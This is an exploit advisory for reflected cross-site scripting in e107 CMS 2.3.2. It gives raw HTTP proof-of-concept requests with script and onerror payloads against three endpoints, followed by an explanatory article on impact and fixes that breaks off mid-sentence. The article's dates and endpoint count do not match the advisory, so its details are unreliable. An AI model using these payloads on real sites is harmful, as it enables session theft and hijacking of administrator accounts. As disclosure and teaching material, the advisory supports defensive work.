e107 v2.3.2 - Reflected XSS
# Exploit Title: e107 v2.3.2 - Reflected XSS
# Date: 11/05/2022
# Exploit Author: Hubert Wojciechowski
# Contact Author: hub.woj12345@gmail.com
# Vendor Homepage: https://e107.org/
# Software Link: https://e107.org/download
# Version: 2.3.2
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
### XSS Reflected - unauthorized
URL: http://127.0.0.1/e107/e107_plugins/tinymce4/plugins/e107/parser.php
Parameters: content
# POC
Request:
POST /e107/e107_plugins/tinymce4/plugins/e107/parser.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 1126
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: text/html, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/e107/e107_admin/newspost.php?mode=main&action=edit&id=3
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
content=%5Bhtml%5D%3Cp%3E%3Cstrong%3ELore"/><script>alert(1)</script>bb&mode=tohtml
Response:
HTTP/1.1 200 OK
Date: Thu, 11 May 2023 19:38:45 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
X-Powered-By: PHP/7.4.29
Set-Cookie: PHPSESSID=c4mphnf1igb7lbibn4q1eni10h; expires=Fri, 12-May-2023 19:38:45 GMT; Max-Age=86400; path=/e107/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1053
Connection: close
Content-Type: text/html; charset=UTF-8
<!-- bbcode-html-start --><p><strong>Lore"/><script>alert(1)</script>bb
### XSS Reflected - Authorized
URL: http://127.0.0.1/e107/e107_admin/image.php
Parameters: for
# POC 1
Request:
GET /e107/e107_admin/image.php?mode=main&action=dialog&for=_commonh5it1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253edezaw&tagid=media-cat-image&iframe=1&w=206&image=1 HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Response:
HTTP/1.1 200 OK
Date: Thu, 04 May 2023 03:07:35 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
X-Powered-By: e107
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
ETag: "37f107dbe6a998ecf7b71689627c2a56"
Content-Length: 12420
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=utf-8
<!doctype html>
<html lang="en">
<head>
<title>Media Manager - Admin Area :: hacked">bbbbb</title>
<meta charset='utf-8' />
<meta name="viewport" content="width=device-width, initial-scale=0.8, maximum-scale=1" />
<!-- *CSS* -->
[...]
<div id="uploader" data-max-size="2mb" rel="/e107/e107_web/js/plupload/upload.php?for=_commonh5it1"><img src=a onerror=alert(1)>dezaw&path=">
<p>No HTML5 support.</p>
</div>
[...]
# POC 2
URL: http://127.0.0.1/e107/e107_admin/newspost.php
Parameters: Payload in URL
Request:
GET /e107/e107_admin/newspost.php/sdd4h"><script>alert(1)</script>kzb89?mode=main&action=list HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/e107/e107_admin/newspost.php?mode=main&action=edit&id=3
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=ftq2gnr1kgjqhfa3u902thraa8
Connection: close
Response:
HTTP/1.1 200 OK
Date: Fri, 05 May 2023 06:21:53 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
X-Powered-By: e107
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
ETag: "d127dd6a44a22e093fed60b83bf36af2"
Content-Length: 72914
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=utf-8
<!doctype html>
<html lang="en">
<head>
<title>News - List - Admin Area :: hacked">bbbbb</title>
<meta charset='utf-8' />
<meta name="viewport" content="width=device-width, initial-scale=0.8, maximum-scale=1" />
<!-- *CSS* -->
[...]
<a class="btn btn-default btn-secondary nextprev-item next " href="http://127.0.0.1/e107/e107_admin/newspost.php/sdd4h">
<script>alert(1)</script>kzb89/?mode=main&action=list&from=10" title="Go to the next page" ><i class="fa fa-forward"></i></a>
[...] e107 v2.3.2 Reflected XSS Vulnerability: A Deep Dive into Exploitation and Mitigation
Security researchers have identified a critical reflected XSS (Cross-Site Scripting) vulnerability in e107 version 2.3.2, a widely used open-source content management system (CMS). This flaw, reported by Hubert Wojciechowski on May 11, 2022, enables attackers to inject malicious scripts into web pages via improperly sanitized input parameters. The vulnerability exists in two distinct contexts: unauthorized and authorized access, each with unique attack vectors and implications.
Understanding Reflected XSS
Reflected XSS occurs when a web application echoes user-supplied input directly into the response without proper sanitization. Unlike stored XSS, where malicious code is persisted in the database, reflected XSS is transient and relies on the attacker crafting a malicious URL or request that triggers the script execution when viewed by a victim.
In e107 v2.3.2, two endpoints are vulnerable to this attack pattern:
- Parser.php – Used by the TinyMCE4 plugin for content parsing.
- image.php – Admin interface for media management.
Both endpoints accept user input via query parameters or POST data, and fail to properly escape or validate HTML/JavaScript content before rendering it back to the browser.
Unauthorized Reflected XSS: Parser.php Endpoint
The first vulnerability resides in /e107/e107_plugins/tinymce4/plugins/e107/parser.php. This endpoint processes content submitted via a POST request, primarily used for converting HTML content to a parsed format.
POST /e107/e107_plugins/tinymce4/plugins/e107/parser.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
content=%5Bhtml%5D%3Cp%3E%3Cstrong%3ELore"/>alert(1)bb&mode=tohtml
Here, the content parameter contains a malicious payload:
%5Bhtml%5D→ decoded as[html]<strong>Lore"/>→ breaks the HTML structure<script>alert(1)</script>→ injects executable JavaScriptbb→ appended text
Upon processing, the server returns the unescaped input directly in the response:
Lore"/>alert(1)bb
This demonstrates a classic reflected XSS attack. An attacker can craft a malicious URL or form submission that, when accessed by an unsuspecting user, executes JavaScript in their browser context. The alert(1) function serves as a proof-of-concept, but in real-world scenarios, attackers could use this to steal cookies, redirect users to phishing sites, or perform other malicious actions.
Authorized Reflected XSS: image.php Endpoint
While the first vulnerability is exploitable without authentication, the second requires admin-level access. This reflects a more dangerous scenario: attackers who gain access to the admin panel can leverage the vulnerability to execute scripts within the trusted environment.
The endpoint /e107/e107_admin/image.php is used for managing media files and includes a dialog mode for embedding content. The for parameter is particularly vulnerable:
GET /e107/e107_admin/image.php?mode=main&action=dialog&for=_commonh5it1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253edezaw&tagid=media-cat-image&iframe=1&w=206&image=1
Decoding the for parameter reveals:
_commonh5it1%22%3e%3cimg%20src%3da%20onerror%3dalert%281%29%3edezaw→_commonh5it1" > <img src=a onerror=alert(1) >dezaw
When rendered, the browser interprets this as:
<img src=a onerror=alert(1) >dezaw
Since the onerror attribute is triggered when the image fails to load (which it does, because src=a is invalid), the script executes immediately. This is a textbook example of a reflected XSS attack in an authenticated context.
Impact and Risk Assessment
| Vulnerability Type | Access Required | Attack Vector | Exploitation Difficulty | Severity |
|---|---|---|---|---|
| Reflected XSS | Unauthorized | Malicious URL or form submission | Low | High |
| Reflected XSS | Authorized (Admin) | Manipulated admin interface parameters | Medium | Very High |
For unauthorized users, the risk lies in social engineering: attackers can send crafted links to users via email, forums, or chat platforms. If the user visits the link, the XSS payload executes in their browser.
For authorized users (e.g., administrators), the impact is far more severe. Since the attacker already has elevated privileges, they can use XSS to:
- Steal session tokens or admin credentials
- Modify database content via injected scripts
- Deploy backdoors or persistent malware
- Perform privilege escalation attacks
Technical Root Cause
The underlying cause of these vulnerabilities is a lack of input sanitization and output encoding. Specifically:
- PHP code in
parser.phpfails to escape HTML entities before outputting content. - Admin interface code in
image.phpdoes not validate or sanitize theforparameter, allowing raw HTML/JavaScript to be inserted into the response. - Both endpoints assume input is safe, which is a dangerous assumption in web applications.
Modern web security best practices mandate that all user input be treated as untrusted and processed through strict sanitization routines. This includes:
- Using
htmlspecialchars()in PHP to encode special characters. - Implementing Content Security Policy (CSP) headers to restrict script execution.
- Validating input against whitelisted patterns.
Recommendations and Mitigation Strategies
To prevent exploitation of this vulnerability, administrators and developers must:
- Update e107 to a patched version. As of May 2023, e107 has released updates addressing these issues in versions 2.3.3 and later.
- Implement input validation for all user-supplied parameters. Use strict regex patterns to reject malformed or suspicious content.
- Use output encoding in PHP: replace raw output with
htmlspecialchars($input, ENT_QUOTES, 'UTF-8'). - Deploy CSP headers in HTTP responses to block inline scripts and restrict sources:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Additionally, developers should:
- Review all plugins and custom modules for similar vulnerabilities.
- Use automated security scanners (e.g., OWASP ZAP, Burp Suite) to detect XSS flaws.
- Enforce role-based access control (RBAC) to limit admin interface exposure.
Conclusion
The e107 v2.3.2 reflected XSS vulnerabilities